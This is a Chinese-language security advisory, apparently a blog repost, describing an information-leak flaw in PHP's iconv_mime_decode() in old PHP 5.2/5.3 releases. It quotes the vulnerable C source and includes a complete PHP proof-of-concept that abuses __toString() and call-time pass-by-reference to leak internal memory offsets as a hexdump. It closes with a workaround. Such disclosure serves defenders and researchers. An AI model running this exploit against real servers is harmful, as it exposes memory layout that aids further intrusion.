PHP iconv_mime_decode()函数中断处理信息泄露漏洞

受影响系统:

PHP PHP <= 5.3.2
PHP PHP <= 5.2.13

描述:

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的iconv_mime_decode()函数中存在信息泄露漏洞:

PHP_FUNCTION(iconv_mime_decode)
{
    char *encoded_str;
    int encoded_str_len;
    char *charset = ICONVG(internal_encoding);
    int charset_len = 0;
    long mode = 0;
    
    smart_str retval = {0};

    php_iconv_err_t err;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|ls",
        &encoded_str, &encoded_str_len, &mode, &charset, &charset_len) == FAILURE) {

        RETURN_FALSE;
    }

    if (charset_len >= ICONV_CSNMAXLEN) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "Charset parameter exceeds the maximum allowed length of %d characters", ICONV_CSNMAXLEN);
        RETURN_FALSE;
    }

    err = _php_iconv_mime_decode(&retval, encoded_str, encoded_str_len, charset, NULL, mode);

zend_parse_parameters()函数将三个参数检索到了本地变量,破坏了与原始ZVAL之间的联系。问题是字符串指针会指向与原始字符串ZVAL完全相同的字符串,如果原始字符串ZVAL被修改,就会导致字符串指针无效,指向已释放并被重用的内存。在这种情况下中断攻击非常容易,因为zend_parse_parameters()支持对象的__toString()方式,攻击者只需向iconv_mime_decode()的第三个参数传送对象。由于PHP的call time pass by reference功能,攻击者之后可以从__toString()方式杀死iconv_mime_decode()的第一个参数,并重新用于哈希表,导致_php_iconv_mime_decode()作用于哈希表内存而不是字符串,允许攻击者泄露重要的内部内存偏移。

<*来源:Stefan Esser (s.esser@ematters.de
  
  链接:
http://php-security.org/2010/05/18/mops-2010-032-php-iconv_mime_decode-interruption-information-leak-vulnerability/index.html
*>

测试方法:

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

<?php
class dummy
{
    function __toString()
    {                      
        /* now the magic */
        parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS[‘var’]);
        return "";
    }
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS[‘var’] = str_repeat("A", 39);
} else {
    $GLOBALS[‘var’] = str_repeat("A", 67);      
}

/* Trigger the Code */  
$x = iconv_mime_decode(&$GLOBALS[‘var’], 0, new dummy());
hexdump($x);

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

    echo "Hexdump\n";
    echo "——-\n";

    while ($l > 16) {
        echo sprintf("%08x: ",$p);
        for ($i=0; $i<16; $i++) {
            echo sprintf("%02X ", ord($x[$p+$i]));
        }
        echo "  ";
        for ($i=0; $i<16; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
        }
        $l-=16;
        $p+=16;
        echo "\n";
    }
    if ($l > 0)
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<$l; $i++) {
        echo sprintf("%02X ", ord($x[$p+$i]));
    }
    for ($i=0; $i<16-$l; $i++) { echo "– "; }

    echo "  ";
    for ($i=0; $i<$l; $i++) {
        $c = ord($x[$p+$i]);
        echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
    }
    echo "\n";
}
?>

建议:

临时解决方法:

* 删除call time pass by reference功能。

厂商补丁:

PHP

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

发表评论?

0 条评论。

发表评论